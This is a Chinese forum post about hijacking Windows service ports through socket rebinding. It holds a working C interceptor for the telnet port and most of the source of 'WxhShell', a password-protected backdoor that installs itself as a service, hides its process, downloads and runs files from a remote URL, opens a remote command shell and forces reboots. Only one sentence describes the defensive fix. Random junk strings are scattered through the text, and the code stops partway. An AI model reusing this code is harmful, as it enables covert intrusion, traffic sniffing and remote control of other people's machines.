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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .8e]-^Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D+m#_'ocL  
_/V <iv  
  saddr.sin_family = AF_INET; (K xI*  
C# zYZ JZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1Xzgm0OS;  
QTr) r;Tro  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mv] .  
-UY5T@as  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IUf&*'_  
uPCzs$R  
  这意味着什么?意味着可以进行如下的攻击: -[/tS<U  
$~7uDq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 @ahN2  
M^IEu }  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?#s9@R1  
-&q@|h'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cD.afy  
qlSI|@CO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =jv3O.zq  
rebnV&-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e~oh%l^C72  
<<'%2q5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +@], JlYf  
eJbZA&:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GdN9bA&,  
E? lK(C  
  #include mR,w~wP  
  #include {E=BFs  
  #include 9K!kU6Gh  
  #include    .`p,pt;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n( RQre  
  int main() `PY=B$?{4  
  { FEY_(70  
  WORD wVersionRequested; \-Vja{J]  
  DWORD ret; %_Q+@9  
  WSADATA wsaData; Ec/&?|$  
  BOOL val; tJ Bj9{  
  SOCKADDR_IN saddr; ^?M# |>  
  SOCKADDR_IN scaddr; j]HzI{7y  
  int err; :2t0//@X  
  SOCKET s; K g6hySb  
  SOCKET sc; GFGW'}w-  
  int caddsize; Xwp6]lx  
  HANDLE mt; hGU  m7  
  DWORD tid;   *kY JwO^  
  wVersionRequested = MAKEWORD( 2, 2 ); 1;v,rs M  
  err = WSAStartup( wVersionRequested, &wsaData ); L|hELWru  
  if ( err != 0 ) { F8H4R7 8>;  
  printf("error!WSAStartup failed!\n"); 8:t!m>(*  
  return -1; G&Fe2&5!w  
  } rU4;yy*b  
  saddr.sin_family = AF_INET; -7Bg5{FA  
   &?[g8A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MO^Q 8v  
^>wlj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3</W}]$)p  
  saddr.sin_port = htons(23); M ^ZEAZi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +D+v j|fn  
  { *82+GY]  
  printf("error!socket failed!\n"); 2Tp @;[!3  
  return -1; zMke}2  
  } &]"Z x0t5%  
  val = TRUE; 'XJqh|G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LZtO Q__B)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E "%d O  
  { |LV}kG(2  
  printf("error!setsockopt failed!\n"); t:x"]K  
  return -1; C/?x`2'  
  } j>8S,b=%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n'To:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "D,}|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DD5cUlOSu  
r2%Qk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >P+o NY  
  { %i6/= 'u  
  ret=GetLastError(); uc{s\_  
  printf("error!bind failed!\n"); Pm7lP5  
  return -1; 7}1Z7"?  
  } Tnv,$KOhs  
  listen(s,2); lY&Sx{-  
  while(1) 3xk- D &"  
  { Spu> ac  
  caddsize = sizeof(scaddr); qTrM*/m:]L  
  //接受连接请求 8-_atL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *Sg6VGP  
  if(sc!=INVALID_SOCKET) ::p%R@?  
  { QE|x[?7e,!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7@R^B=pb  
  if(mt==NULL) LC7%Bfn!  
  { o2D;EUsNX  
  printf("Thread Creat Failed!\n"); 0.\}D:x(z  
  break; x) jc  
  } ?8qN8rk^+  
  } K=! C\T"I%  
  CloseHandle(mt);  :yw8_D3  
  } XXw>h4hl  
  closesocket(s); NQxx_3*4O  
  WSACleanup(); 8d?%9# p-)  
  return 0; [Kg3:]2A  
  }   URbHVPCPb  
  DWORD WINAPI ClientThread(LPVOID lpParam) -FF#+Z$  
  { n8E3w:A-  
  SOCKET ss = (SOCKET)lpParam; +B[XTn,Cru  
  SOCKET sc; Q#F9&{'l  
  unsigned char buf[4096]; ce3``W/H3  
  SOCKADDR_IN saddr; }hE!0q~MfM  
  long num; /PVx  
  DWORD val; U2)?[C1q{  
  DWORD ret; 5yyc 0UG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F}.R -j#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TNDp{!<|L;  
  saddr.sin_family = AF_INET; Q@"}v_r4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )<%CI#s#  
  saddr.sin_port = htons(23); 7z_ZD0PxPc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YSzC's[  
  { rB-R(2 CCN  
  printf("error!socket failed!\n"); jM-7  
  return -1; @QMU$]&i]  
  } Y <`X$  
  val = 100; Q/@ pcU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d/3bE*gr  
  { n/Dg)n?  
  ret = GetLastError(); e,xJ%f  
  return -1; PM i.)%++  
  } {Mb2X^@7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *~~J1.ja>  
  { Dm%Q96*VAq  
  ret = GetLastError(); u+y3( 0  
  return -1; JqUft=p5  
  } iSX HMp4V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1LaJ hrp?  
  { T_q M@/f  
  printf("error!socket connect failed!\n"); ]4/C19Fe!  
  closesocket(sc); IB$i ^  
  closesocket(ss); 7^V`B^Vu  
  return -1; xU2i&il^!  
  } Jz4;7/  
  while(1) D9H%jDv  
  { S}VN(g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  '[HBKn$`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~# \{'<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  Ci 'V  
  num = recv(ss,buf,4096,0); 7xM4=\~OG  
  if(num>0) -'}#j\  
  send(sc,buf,num,0); _>a`dp.19  
  else if(num==0) 1h|qxYO  
  break; Pc`)D:/}R  
  num = recv(sc,buf,4096,0); p(-EtxP  
  if(num>0) \irKM8]LJ  
  send(ss,buf,num,0); gil:SUW1r  
  else if(num==0) mE;^B%v  
  break; !u:Fn)j  
  } ?^J%S,  
  closesocket(ss); {H>Tv,v|  
  closesocket(sc); o^/ fr&,9  
  return 0 ; M1]w0~G  
  } Ve qB/Q X  
A8QUfg@uK~  
k.})3~F-  
========================================================== nltOX@P-  
Rqbz3h~  
下边附上一个代码,,WXhSHELL [?=DPE%  
W6`_ lGTj  
========================================================== A~ v[6*~>  
Y O|hwhe_  
#include "stdafx.h" M?Fv'YE  
#V)l>  
#include <stdio.h> W9{;HGWS  
#include <string.h> -tx%#(?wH  
#include <windows.h> c (29JZ  
#include <winsock2.h> fLeHn,*,"  
#include <winsvc.h> mE=Tj%+ x  
#include <urlmon.h> 2"k|IHs1  
H@1qU|4  
#pragma comment (lib, "Ws2_32.lib") -GCU6U|  
#pragma comment (lib, "urlmon.lib") R5mb4  
V6+:g=@U-l  
#define MAX_USER   100 // 最大客户端连接数 4jlwu0L+  
#define BUF_SOCK   200 // sock buffer BpGyjo J2  
#define KEY_BUFF   255 // 输入 buffer tk)}4b^\%j  
V3T.EW  
#define REBOOT     0   // 重启 `9k\~D=D~  
#define SHUTDOWN   1   // 关机 3''Uxlo\  
A/&u /?*C  
#define DEF_PORT   5000 // 监听端口 \acGSW .c  
ny!80I  
#define REG_LEN     16   // 注册表键长度 8Ht=B,7T  
#define SVC_LEN     80   // NT服务名长度 M04u>| ,  
IF@vl  
// 从dll定义API 5!wjYQt3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cmYzS6f,7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VD $PoP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  %{UW!/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y9 Bk$$#\  
asE.!g?  
// wxhshell配置信息 fGW~xul_  
struct WSCFG { \ [M4[Qlq  
  int ws_port;         // 监听端口 .Wi%V"  
  char ws_passstr[REG_LEN]; // 口令 [w-# !X2y  
  int ws_autoins;       // 安装标记, 1=yes 0=no (w+SmD  
  char ws_regname[REG_LEN]; // 注册表键名 7<L!" 2VB  
  char ws_svcname[REG_LEN]; // 服务名 T!pA$eE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :o87<) _F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +;*4.}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .Iz JJp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (LMT'   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4N1)+ W8k*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qVO,sKQ{  
Ef@)y&hn  
}; U ]B-B+-  
arS@l<79  
// default Wxhshell configuration 5E 9R+N  
struct WSCFG wscfg={DEF_PORT, X)= m4\R  
    "xuhuanlingzhe", pc QkJ F  
    1, EY.m,@{  
    "Wxhshell", **oDQwW]*  
    "Wxhshell", =s*4y$%I  
            "WxhShell Service", Q \S Sv;3_  
    "Wrsky Windows CmdShell Service", +VJyGbOcC  
    "Please Input Your Password: ", ~9,Fc6w4`+  
  1, sHV?njZd  
  "http://www.wrsky.com/wxhshell.exe", LF)wn -C}  
  "Wxhshell.exe" 0bD\`Jiv,  
    }; ] yWywa\  
D{q r N6g#  
// 消息定义模块 uJ fXe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]l3Y=Cl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T-iQ!D~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; meXwmO  
char *msg_ws_ext="\n\rExit."; |N3#of(  
char *msg_ws_end="\n\rQuit."; Q~n%c7  
char *msg_ws_boot="\n\rReboot..."; 3hEbM'L  
char *msg_ws_poff="\n\rShutdown..."; -G'3&L4 D  
char *msg_ws_down="\n\rSave to "; cXr_,>k  
I"Q U{]|J  
char *msg_ws_err="\n\rErr!"; |+JC'b?,  
char *msg_ws_ok="\n\rOK!"; ccx0aC3@I  
}AiF 7N0  
char ExeFile[MAX_PATH]; 'geN  dx  
int nUser = 0; -a"b:Q  
HANDLE handles[MAX_USER]; I47sqz7  
int OsIsNt; 5^CWF|  
r gi4>  
SERVICE_STATUS       serviceStatus; @Jb-[W$*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uc ; S@  
g706*o)h  
// 函数声明 g5x>}@ONq7  
int Install(void); <(xro/  
int Uninstall(void); S!^I<#d K  
int DownloadFile(char *sURL, SOCKET wsh); x^ cJ~e2  
int Boot(int flag); Fiw^twz5  
void HideProc(void); 3Tc90p l*t  
int GetOsVer(void); FBOgaI83G  
int Wxhshell(SOCKET wsl); x2/ciC  
void TalkWithClient(void *cs); 0Pt% (^  
int CmdShell(SOCKET sock); (h[. Ie  
int StartFromService(void); cK\?wZ| Y  
int StartWxhshell(LPSTR lpCmdLine); e5"5 U7  
H|MAbx 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o{l]n*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mtw{7 E  
IJ:JH=8  
// 数据结构和表定义 V@EyU/VJ  
SERVICE_TABLE_ENTRY DispatchTable[] = 5yj6MaqJ  
{ nQg_1+  
{wscfg.ws_svcname, NTServiceMain}, LY#V)f  
{NULL, NULL} Q )8I(*  
}; H:WuMwD4  
RXu` DWN  
// 自我安装 9C!b f \  
int Install(void) ?+%bEZ`  
{ N| P?!G-=  
  char svExeFile[MAX_PATH]; FF|M7/[~  
  HKEY key; [o7Qr?RN  
  strcpy(svExeFile,ExeFile); axK/YE7t  
[L ' >  
// 如果是win9x系统,修改注册表设为自启动 6JR FYgI  
if(!OsIsNt) { }}"|(2I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZXIz.GFy+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ",Fvv  
  RegCloseKey(key); m& D#5C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vTWm_ed+^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bo'v!bI7  
  RegCloseKey(key); 5aXE^.`  
  return 0; k @gQY_  
    } LW9F%?e!>  
  } gkca{BJ   
} qagR?)N)u  
else { U]9k,#  
WZP1g kX&M  
// 如果是NT以上系统,安装为系统服务 k 6i&NG6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KYl!Iw67d  
if (schSCManager!=0) [8Z !dj   
{ xX Dj4j,  
  SC_HANDLE schService = CreateService 0h{&k7T<7  
  ( GNHWbC6_m  
  schSCManager, OsRizcgdA  
  wscfg.ws_svcname, IP)%y%ycw  
  wscfg.ws_svcdisp, I%B\Wy/j^  
  SERVICE_ALL_ACCESS, 2 i NZz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K `A8N  
  SERVICE_AUTO_START, X/m~^  
  SERVICE_ERROR_NORMAL, ]*Kv[%r07c  
  svExeFile, 9oG)\M.6w  
  NULL, 1?Tj  
  NULL, 8]bLp  
  NULL, wLvM<p7OX  
  NULL, IABF_GwF  
  NULL CT'#~~QB  
  ); XK)0Mt\  
  if (schService!=0) lB8g D  
  { ~]'yUd1gSZ  
  CloseServiceHandle(schService); gg Nvm  
  CloseServiceHandle(schSCManager); *D1vla8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 (e64w@  
  strcat(svExeFile,wscfg.ws_svcname); .SNg2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Xr*1DI<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jx ?"`;a  
  RegCloseKey(key); IlB*JJnl  
  return 0; vkeZ!klYB  
    } o1-_BlZ  
  } +Y$EZL.A  
  CloseServiceHandle(schSCManager); IA`Lp3Z  
} SDs#w  
} E@AV?@<sc  
J=HN~B1  
return 1; j[dgY1yE:  
} NYzBfL x  
0ZZ Wj%  
// 自我卸载 2@I0p\a  
int Uninstall(void) J6<O|ng::  
{ /Ba/gq0j  
  HKEY key; vTIRydg2b  
t >.=q:  
if(!OsIsNt) { 1jaK N*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EG3u)}vI  
  RegDeleteValue(key,wscfg.ws_regname); Ynp#3 r  
  RegCloseKey(key); 4Tb"+Y}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wti  
  RegDeleteValue(key,wscfg.ws_regname); >5D;uTy u  
  RegCloseKey(key); 2(Aw  
  return 0; GR_caP  
  } agQD d8oX  
} vF/wV'Kk  
} #qxo1uV(c  
else { $R:Q R?   
uf"(b"N0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S6fbwZZMG  
if (schSCManager!=0) H5o=nWQ6e  
{ ;kT~&.,y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Dn~U :F/?  
  if (schService!=0) ,zxv>8Nt  
  { sk AF6n  
  if(DeleteService(schService)!=0) { Sl@Ucc31  
  CloseServiceHandle(schService); r\)bN4-g  
  CloseServiceHandle(schSCManager); \)ZCB7|  
  return 0; Z#YNL-x  
  } R dNL f  
  CloseServiceHandle(schService); hML-zZ   
  } EBr?>hl  
  CloseServiceHandle(schSCManager); ;V?d;O4u  
} pbw{EzM  
} _rmKvSD%  
RaP,dR+P  
return 1; Ys&)5j-  
} ;k ,@^f8  
? PpS4Rd  
// 从指定url下载文件 e*U6^Xex  
int DownloadFile(char *sURL, SOCKET wsh) s'$2 }K  
{ R'" c  
  HRESULT hr; (L(n%  
char seps[]= "/"; 'g3T'2"`5  
char *token; +(^H L3  
char *file; 9[sOh<W  
char myURL[MAX_PATH]; u(\O@5a  
char myFILE[MAX_PATH]; -Zp BYX5e_  
y0~ttfv  
strcpy(myURL,sURL); |.L_c"Bc  
  token=strtok(myURL,seps); dlIYzO<  
  while(token!=NULL) 0?dr(   
  { ia_l P  
    file=token; FYK`.>L28  
  token=strtok(NULL,seps); Iga#,k+%  
  } "\ =Phqw   
cLw|[!5:  
GetCurrentDirectory(MAX_PATH,myFILE); `*D"=5G+  
strcat(myFILE, "\\"); m;t&P58f  
strcat(myFILE, file); +'nMy"j1  
  send(wsh,myFILE,strlen(myFILE),0); 1aCpeD4|)  
send(wsh,"...",3,0); 1Kd6tnX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mrr~#Bb>  
  if(hr==S_OK) 1vtC4`  
return 0; 8m=O408Q  
else OmS8cSYGc  
return 1; ncUS8z  
GR4DxlX  
} ZY@ntV?  
P(/eVD#v  
// 系统电源模块 q6<P\CSHy<  
int Boot(int flag) P,F eF'J^  
{ -4P `:bF  
  HANDLE hToken; o{^`Y   
  TOKEN_PRIVILEGES tkp; KHgn  
d ez4g  
  if(OsIsNt) { ]}p<P):hO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ge<D}6GQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $2RSYI`py  
    tkp.PrivilegeCount = 1; lW|v_oP9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Aa4Tq2G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i'4.w?OZ  
if(flag==REBOOT) { R<(xWH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4 Tw~4b  
  return 0; >[;=c0(  
} $*T?}r>  
else { >P&1or)e%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VxuV`Plf  
  return 0; $mh\`  
} D9?.Ru0.  
  } R=F_U  
  else { 0U H]  
if(flag==REBOOT) { \4^rb?B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wy0?*)~  
  return 0; +jyGRSo  
} 7 nFOV Z  
else { G$%F`R[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6bLn8UT  
  return 0;  qLP/z  
} k ~ByICE  
} N5h9){Mx  
??U/Qi180  
return 1; \"Y,1in#  
} RjVmHhX  
|_>^vW1f  
// win9x进程隐藏模块 !8| }-eFY  
void HideProc(void) D79:L:  
{ "WUS?Q  
m[74p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 75lh07  
  if ( hKernel != NULL ) >]z^.U7=  
  { Z6A-i@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nSC2wTH!1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7.6L1srV  
    FreeLibrary(hKernel); ?s3S$Ih  
  } (Bd'Pj]:  
K +3=gBU*w  
return; 9 fYNSr  
} 3RT\G0?8f  
*8/Xh)B;  
// 获取操作系统版本 lg~7[=%k#  
int GetOsVer(void) $|.8@ nj  
{ ^B% =P  
  OSVERSIONINFO winfo; l-l7jq]R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V 3cKbk7~  
  GetVersionEx(&winfo); nS*Y+Q^9a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % hvK;B?Y|  
  return 1; F_jHi0A  
  else %0N HU`j  
  return 0; W ';X4e  
} i >s  
P <+0sh  
// 客户端句柄模块 )AQ^PBwp  
int Wxhshell(SOCKET wsl) 5UO+c( T  
{ KP>9hEh  
  SOCKET wsh; ^}B,0yUu'  
  struct sockaddr_in client; }$4z$&  
  DWORD myID; .8Bo5)q$a-  
Zrr)<'!i  
  while(nUser<MAX_USER) p2{7+m  
{ MA6 Vy  
  int nSize=sizeof(client); ;ryNfP%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !NkCki"W  
  if(wsh==INVALID_SOCKET) return 1; 5$D"uAp<V  
ElV!C}g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5;UIz@BJ  
if(handles[nUser]==0) -6HwG fU  
  closesocket(wsh); xI{4<m/0N  
else q`b6if"  
  nUser++; Z,A$h>Z  
  } dQ.#8o=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UI+6\ 3  
N}K [Q=  
  return 0; ?YLq iAA  
} D5D *$IC  
@we1#Vz.  
// 关闭 socket Mz p<s<BX  
void CloseIt(SOCKET wsh) 7MLLx#U  
{ '#V@a  
closesocket(wsh); ?<TJ}("/  
nUser--; 49$<:{~  
ExitThread(0); 7upko9d/  
} ]HuB%G|t1V  
_9 ]:0bDUo  
// 客户端请求句柄 Y \-W`  
void TalkWithClient(void *cs) ~\jP+[>M'  
{ V0>X2&.A  
>8>!wi9U  
  SOCKET wsh=(SOCKET)cs; ,=P&{38\q  
  char pwd[SVC_LEN]; :_~.Nt  
  char cmd[KEY_BUFF]; QL WnP-  
char chr[1]; gHrs|6q9  
int i,j; ^H3N1eC,`F  
c MXv  
  while (nUser < MAX_USER) { qTr P@F4`g  
Q=`yPK>{$N  
if(wscfg.ws_passstr) { ;7QXs39S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mh.1KI[t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 10Ik_L='  
  //ZeroMemory(pwd,KEY_BUFF); <\~v$=G  
      i=0; _SAM8!q4,  
  while(i<SVC_LEN) { ,X4+i8Yc  
[-])$~WfW  
  // 设置超时 h*k V@Dc  
  fd_set FdRead; oS fr5 i  
  struct timeval TimeOut; c\{N:S>  
  FD_ZERO(&FdRead); ` kT\V'  
  FD_SET(wsh,&FdRead); *c$[U{Px  
  TimeOut.tv_sec=8; EfrQ~`\  
  TimeOut.tv_usec=0; ,Vhve'=*2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N3n]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OlOOg  
i/x |c!E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jr2yn{s=S  
  pwd=chr[0]; CUu Owx6%  
  if(chr[0]==0xd || chr[0]==0xa) { ""0 Y^M2I  
  pwd=0; aDF@A S  
  break; 'f\9'v  
  } g"m' C6;  
  i++; Zv;nY7B  
    } mqZH<.mn  
hCcI]#S&  
  // 如果是非法用户,关闭 socket /iU<\+ H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TTz=*t+D  
} ]y_ :+SHc  
@7twe;07r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -tj#BEC[H(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k$3pmy*  
JU?;Kq9R  
while(1) { .9nqJ7]  
yE8D^M|g  
  ZeroMemory(cmd,KEY_BUFF); u}@N Qeg  
ba|xf@=&  
      // 自动支持客户端 telnet标准   K81X32Lm'  
  j=0; d`^3fr'.4A  
  while(j<KEY_BUFF) { J:@gmo`M;V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )D+BvJ Y"  
  cmd[j]=chr[0]; Lv%3 jj  
  if(chr[0]==0xa || chr[0]==0xd) { {N4 'g_  
  cmd[j]=0; 4z0gyCAC A  
  break; .l1x~(  
  } ?+t;\  
  j++; [ohLG_9  
    } FS1\`#Bm)  
|>;PV4])(  
  // 下载文件 ,*|Q=  
  if(strstr(cmd,"http://")) { 4$xVm,n|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (U:-z=E#1  
  if(DownloadFile(cmd,wsh)) I%5vI}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q,KNZxT,q  
  else 6!\V|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ywwA,9~  
  } s2O()u-  
  else { ip-X r|Bq  
|a{; <a  
    switch(cmd[0]) { Nny*C`uDF  
  ;ElCWs->\  
  // 帮助 !mlfG "FE  
  case '?': { hVz yvpw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @_ %RQO_X  
    break; cMY}Y [2c  
  } <?.eU<+O`S  
  // 安装 & kC  
  case 'i': { //63|;EEkl  
    if(Install()) g04^M (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (47?lw &  
    else ?Lg<)B9   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X _ZO)|  
    break; D6bYg `  
    } ^~~Rto)Y  
  // 卸载 wA5Iz{uQO  
  case 'r': { w-K A~  
    if(Uninstall()) *tqD:hiF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:i?gRy"  
    else cW%)C.M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [G}dPXD  
    break; wn[)/*(,$(  
    } 7Eyi~jes  
  // 显示 wxhshell 所在路径 2I B{FO/  
  case 'p': { p1UloG\  
    char svExeFile[MAX_PATH]; a=MN:s?Fc0  
    strcpy(svExeFile,"\n\r");  0s;~9>  
      strcat(svExeFile,ExeFile); ]o] VS  
        send(wsh,svExeFile,strlen(svExeFile),0); Lz 1.+:Ag  
    break; w/#7G\U  
    } b/S:&%E  
  // 重启 spa :5]B  
  case 'b': { 6e ?xu8|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ED` 1)1<  
    if(Boot(REBOOT)) 7KIekL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]Fb0X  
    else { rH7Cv/Y  
    closesocket(wsh); ~5P9^`KNH  
    ExitThread(0); }097[-g7  
    } v2;E Wp  
    break; 'zUV(K?2]  
    } |m's)  
  // 关机 Ch"wp/[  
  case 'd': { UT3Fi@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BE0l2[i?  
